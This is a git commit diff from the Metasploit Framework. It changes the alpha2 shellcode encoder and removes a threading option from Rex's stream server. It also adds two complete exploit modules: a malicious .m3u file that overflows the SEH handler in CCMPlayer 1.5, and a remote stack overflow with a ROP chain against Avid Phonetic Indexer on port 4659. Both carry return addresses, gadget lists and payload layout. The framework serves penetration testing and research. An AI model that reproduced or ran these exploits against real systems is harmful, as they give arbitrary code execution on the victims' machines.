Merge remote-tracking branch 'upstream/master'

unstable
Steve Tornio 2011-12-02 16:34:55 -06:00
commit ff425bf39d
11 changed files with 262 additions and 134 deletions

View File

@ -63,8 +63,7 @@ class Service
self.options[:ssl],
self.options[:context],
self.options[:comm],
self.options[:cert],
true
self.options[:cert]
)
self.service.add_resource(self.uri, {

View File

@ -8,6 +8,7 @@ module Alpha2
class Generic
# Note: 'A' is presumed to be accepted, but excluded from the accepted characters, because it serves as the terminator
def Generic.default_accepted_chars ; ('a' .. 'z').to_a + ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
def Generic.gen_decoder_prefix(reg, offset)
@ -22,14 +23,6 @@ class Generic
return ''
end
def Generic.gen_base_set(ignored_max=0x0f)
# 0xf is max for XOR encodings - non-unicode
max = 0x0f
Rex::Text.shuffle_a(
[* ( (0..(max)).map { |i| i *= 0x10 } ) ]
)
end
def Generic.gen_second(block, base)
# XOR encoder for ascii - unicode uses additive
(block^base)
@ -38,57 +31,40 @@ class Generic
def Generic.encode_byte(block, badchars)
accepted_chars = default_accepted_chars.dup
badchars.each_char {|c| accepted_chars.delete(c) } if badchars
# Remove bad chars from the accepted_chars list. Sadly 'A' must be
# an accepted char or we'll certainly fail at this point. This could
# be fixed later maybe with some recalculation of the encoder stubs...
# - Puss
(badchars || '').unpack('C*').map { |c| accepted_chars.delete([c].pack('C')) }
# No, not nipple.
nibble_chars = Array.new(0x10) {[]}
accepted_chars.each {|c| nibble_chars[c.unpack('C')[0] & 0x0F].push(c) }
first = 0
second = 1
randbase = 0
found = nil
poss_encodings = []
block_low_nibble = block & 0x0F
block_high_nibble = block >> 4
gen_base_set(block).each do |randbase_|
second = gen_second(block, randbase_)
next if second < 0
if accepted_chars.include?([second].pack('C'))
found = second
randbase = randbase_
break
end
# Get list of chars suitable for expressing lower part of byte
first_chars = nibble_chars[block_low_nibble]
# Build a list of possible encodings
first_chars.each do |first_char|
first_high_nibble = first_char.unpack('C')[0] >> 4
# In the decoding process, the low nibble of the second char gets combined
# (either ADDed or XORed depending on the encoder) with the high nibble of the first char,
# and we want the high nibble of our input byte to result
second_low_nibble = gen_second(block_high_nibble, first_high_nibble) & 0x0F
# Find valid second chars for this first char and add each combination to our possible encodings
second_chars = nibble_chars[second_low_nibble]
second_chars.each {|second_char| poss_encodings.push(second_char + first_char) }
end
if not found
msg = "No valid base found for #{"0x%.2x" % block}"
if not accepted_chars.include?([second].pack('C'))
msg << ": BadChar to #{second}"
elsif second < 1
msg << ": Negative"
end
raise RuntimeError, msg
if poss_encodings.empty?
raise RuntimeError, "No encoding of #{"0x%.2X" % block} possible with limited character set"
end
if (randbase > 0xa0)
# first num must be 4
first = (randbase/0x10) + 0x40
elsif (randbase == 0x00) || (randbase == 0x10)
# first num must be 5
first = (randbase/0x10) + 0x50
else
# pick one at "random"
first = (randbase/0x10)
if (first % 2) > 0
first += 0x40
else
first += 0x50
end
end
# now add our new bytes :)
[first.to_i, second].pack('CC')
# Return a random encoding
poss_encodings[rand(poss_encodings.length)]
end
def Generic.encode(buf, reg, offset, badchars = '')
@ -97,10 +73,10 @@ class Generic
buf.each_byte {
|block|
encoded += encode_byte(block, badchars)
encoded << encode_byte(block, badchars)
}
encoded += add_terminator()
encoded << add_terminator()
return encoded
end

View File

@ -8,20 +8,14 @@ module Alpha2
class UnicodeMixed < Generic
def self.gen_base_set(max)
Rex::Text.shuffle_a(
[* ( (0..(max-1)).map { |i| i *= 0x10 } ) ]
)
end
def self.gen_second(block, base)
# unicode uses additive encoding
(block - base)
end
def self.gen_decoder_prefix(reg, offset)
if (offset > 28)
raise "Critical: Offset is greater than 28"
if (offset > 21)
raise "Critical: Offset is greater than 21"
end
# offset untested for unicode :(

View File

@ -9,20 +9,14 @@ module Alpha2
class UnicodeUpper < Generic
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
def self.gen_base_set(max)
Rex::Text.shuffle_a(
[* ( (0..(max-1)).map { |i| i *= 0x10 } ) ]
)
end
def self.gen_second(block, base)
# unicode uses additive encoding
(block - base)
end
def self.gen_decoder_prefix(reg, offset)
if (offset > 8)
raise "Critical: Offset is greater than 8"
if (offset > 6)
raise "Critical: Offset is greater than 6"
end
# offset untested for unicode :(

View File

@ -68,13 +68,9 @@ module StreamServer
self.listener_thread = Rex::ThreadFactory.spawn("StreamServerListener", false) {
monitor_listener
}
if self.threaded
self.clients_thread = []
else
self.clients_thread = Rex::ThreadFactory.spawn("StreamServerClientMonitor", false) {
monitor_clients
}
end
self.clients_thread = Rex::ThreadFactory.spawn("StreamServerClientMonitor", false) {
monitor_clients
}
end
#
@ -82,7 +78,7 @@ module StreamServer
#
def stop
self.listener_thread.kill
self.clients_thread.kill unless self.threaded
self.clients_thread.kill
self.clients.each { |cli|
close_client(cli)
@ -95,7 +91,6 @@ module StreamServer
#
def close_client(client)
if (client)
clients_thread.delete_at(clients.index(client)) if self.threaded
clients.delete(client)
begin
@ -135,7 +130,7 @@ module StreamServer
attr_accessor :on_client_close_proc
attr_accessor :clients # :nodoc:
attr_accessor :listener_thread, :clients_thread, :threaded # :nodoc:
attr_accessor :listener_thread, :clients_thread # :nodoc:
attr_accessor :client_waiter
protected
@ -161,12 +156,6 @@ protected
# Initialize the connection processing
on_client_connect(cli)
if self.threaded # Start thread
self.clients_thread << Rex::ThreadFactory.spawn("StreamServerClientMonitor#{cli.to_s}", false, cli) {
monitor_clients(cli)
}
end
# Notify the client monitor
self.client_waiter.push(cli)
@ -186,20 +175,16 @@ protected
# This method monitors client connections for data and calls the
# +on_client_data+ routine when new data arrives.
#
def monitor_clients(cli = nil)
def monitor_clients
begin
# Wait for a notify if our client list is empty
if (not self.threaded and clients.length == 0)
if (clients.length == 0)
self.client_waiter.pop
next
end
if self.threaded
sd = Rex::ThreadSafe.select([cli])
else
sd = Rex::ThreadSafe.select(clients, nil, nil, nil)
end
sd = Rex::ThreadSafe.select(clients, nil, nil, nil)
sd[0].each { |cfd|
begin
@ -218,8 +203,6 @@ protected
}
rescue ::Rex::StreamClosedError => e
# Remove thread from the list if threaded
clients_thread.delete_at(clients.index(client)) if self.threaded
# Remove the closed stream from the list
clients.delete(e.stream)
rescue ::Interrupt

View File

@ -99,14 +99,13 @@ class Server
# Initializes an HTTP server as listening on the provided port and
# hostname.
#
def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil, threaded = false)
def initialize(port = 80, listen_host = '0.0.0.0', ssl = false, context = {}, comm = nil, ssl_cert = nil)
self.listen_host = listen_host
self.listen_port = port
self.ssl = ssl
self.context = context
self.comm = comm
self.ssl_cert = ssl_cert
self.threaded = threaded
self.listener = nil
self.resources = {}
@ -138,8 +137,7 @@ class Server
'Context' => self.context,
'SSL' => self.ssl,
'SSLCert' => self.ssl_cert,
'Comm' => self.comm,
'Threaded' => self.threaded
'Comm' => self.comm
)
# Register callbacks
@ -262,7 +260,7 @@ class Server
end
attr_accessor :listen_port, :listen_host, :server_name, :context, :ssl, :comm, :ssl_cert
attr_accessor :listener, :resources, :threaded
attr_accessor :listener, :resources
protected

View File

@ -673,9 +673,6 @@ module Socket
self.localport = params.localport
self.context = params.context || {}
self.ipv = params.v6 ? 6 : 4
if (self.respond_to?('threaded'))
self.threaded = params.threaded?
end
end
end

View File

@ -97,11 +97,6 @@ class Rex::Socket::Parameters
#
# The number of seconds before a connection should time out
#
# Threaded
#
# Whether the server is to spin off a new thread for each client.
#
def initialize(hash)
if (hash['PeerHost'])
@ -144,12 +139,6 @@ class Rex::Socket::Parameters
self.ssl = false
end
if (hash['Threaded'] and hash['Threaded'].to_s =~ /^(t|y|1)/i)
self.threaded = true
else
self.threaded = false
end
if (hash['SSLVersion'] and hash['SSLVersion'].to_s =~ /^(SSL2|SSL3|TLS1)$/i)
self.ssl_version = hash['SSLVersion']
end
@ -284,12 +273,6 @@ class Rex::Socket::Parameters
return v6
end
#
# Returns true if Multithreading has been enabled
#
def threaded?
return threaded
end
##
#
@ -361,10 +344,6 @@ class Rex::Socket::Parameters
# Whether we should use IPv6
#
attr_accessor :v6
#
# Whether we should be multithreaded
#
attr_accessor :threaded
attr_accessor :proxies

View File

@ -0,0 +1,97 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::FILEFORMAT
def initialize(info = {})
super(update_info(info,
'Name' => 'CCMPlayer 1.5 Stack based Buffer Overflow (.m3u)',
'Description' => %q{
This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening
a m3u playlist with a long track name, a SEH exception record can be overwritten
with parts of the controllable buffer. SEH execution is triggered after an
invalid read of an injectible address, thus allowing arbitrary code execution.
This module works on multiple Windows platforms including: Windows XP SP3,
Windows Vista, and Windows 7.
},
'License' => MSF_LICENSE,
'Author' => ['Rh0'], # discovery and metasploit module
'References' =>
[
['URL', 'http://www.exploit-db.com/exploits/18178/']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
'DisablePayloadHandler' => 'true',
},
'Payload' =>
{
'Space' => 0x1000,
'BadChars' => "\x00\x0d\x0a\x1a\x2c\x2e\x3a\x5c", # \x00\r\n\x1a,.:\\
'DisableNops' => 'True',
'StackAdjustment' => -3500,
},
'Platform' => 'win',
'Targets' =>
[
[
'CCMPlayer 1.5',
{
# pop esi / pop ebx / ret (in ccmplay.exe)
# tweak it if necessary
'Ret' => 0x00403ca7, # last NULL in buffer is accepted
'Offset' => 0x1000
}
]
],
'Privileged' => false,
'DisclosureDate' => '30 Nov 2011', # to my knowledge
'DefaultTarget' => 0))
register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.m3u']),
], self.class)
end
def exploit
m3u = "C:\\"
# shellcode
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "nop").encode_string * 25
m3u << payload.encoded
# junk
m3u << rand_text_alpha_upper(target['Offset'] - (25 + payload.encoded.length))
# need an access violation when reading next 4 bytes as address (0xFFFFFFFF)
# to trigger SEH
m3u << [0xffffffff].pack("V")
# pad
m3u << rand_text_alpha_upper(3)
# long jmp: jmp far back to shellcode
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-4103").encode_string
# NSEH: jmp short back to long jmp instruction
m3u << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-5").encode_string
# pad (need more 2 bytes to fill up to 4, as jmp $-5 are only 2 bytes)
m3u << rand_text_alpha_upper(2)
# SEH Exception Handler Address -> p/p/r
m3u << [target.ret].pack("V")
m3u << ".mp3\r\n" # no crash without it
print_status("Creating '#{datastore['FILENAME']}' file ...")
# Open CCMPlayer -> Songs -> Add -> Files of type: m3u -> msf.m3u => exploit
file_create(m3u)
end
end

View File

@ -0,0 +1,111 @@
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
def initialize(info={})
super(update_info(info,
'Name' => "Avid Media Composer 5.5 - Avid Phonetic Indexer Stack Overflow",
'Description' => %q{
This module exploits a stack buffer overflow in process
AvidPhoneticIndexer.exe (port 4659), which comes as part of the Avid Media Composer
5.5 Editing Suite. This daemon sometimes starts on a different port; if you start
it standalone it will run on port 4660.
},
'License' => MSF_LICENSE,
'Author' =>
[
'vt [nick.freeman@security-assessment.com]',
],
'References' =>
[
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/Avid_Media_Composer-Phonetic_Indexer-Remote_Stack_Buffer_Overflow.pdf' ],
],
'Payload' =>
{
'Space' => 1012,
'BadChars' => "\x00\x09\x0a\x0d\x20",
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'EAX',
}
},
'Platform' => 'win',
'Targets' =>
[
[
'Windows XP Professional SP3',
{
'Ret' => 0x028B35EB #ADD ESP, 1800; RET (il.dll)
}
],
],
'Privileged' => false,
'DisclosureDate' => "Nov 29 2011",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(4659),
], self.class)
end
def exploit
rop_gadgets = [
# ROP chain (sayonara) courtesy of WhitePhosphorus (thanks guys!)
# a non-sayonara ROP would be super easy too, I'm just lazy :)
0x7C344CC1, # pop eax;ret;
0x7C3410C2, # pop ecx;pop ecx;ret;
0x7C342462, # xor chain; call eax {0x7C3410C2}
0x7C38C510, # writeable location for lpflOldProtect
0x7C365645, # pop esi;ret;
0x7C345243, # ret;
0x7C348F46, # pop ebp;ret;
0x7C3487EC, # call eax
0x7C344CC1, # pop eax;ret;
0xfffffbfc, # {size}
0x7C34D749, # neg eax;ret; {adjust size}
0x7C3458AA, # add ebx, eax;ret; {size into ebx}
0x7C3439FA, # pop edx;ret;
0xFFFFFFC0, # {flag}
0x7C351EB1, # neg edx;ret; {adjust flag}
0x7C354648, # pop edi;ret;
0x7C3530EA, # mov eax,[eax];ret;
0x7C344CC1, # pop eax;ret;
0x7C37A181, # (VP RVA + 30) - {0xEF adjustment}
0x7C355AEB, # sub eax,30;ret;
0x7C378C81, # pushad; add al,0xef; ret;
0x7C36683F, # push esp;ret;
].pack("V*")
# need to control a buffer reg for the msf gen'd payload to fly. in this case:
bufregfix = "\x8b\xc4" # MOV EAX,ESP
bufregfix += "\x83\xc0\x10" # ADD EAX,10
connect
sploit = ''
sploit << rand_text_alpha_upper(216)
sploit << [target.ret].pack('V*')
sploit << "A"*732 #This avoids a busted LoadLibrary
sploit << rop_gadgets
sploit << bufregfix
sploit << "\xeb\x09"
sploit << rand_text_alpha_upper(9)
sploit << payload.encoded
sock.put(sploit)
handler
disconnect
end
end

View File

@ -352,7 +352,7 @@ class Metasploit3 < Msf::Post
success = false
lns.each_line { |ln|
ln.chomp!
if ln =~ /^SUCCESS\:\s/
if ln =~ /^SCHELEVATOR$/
success = true
print_status(ln)
else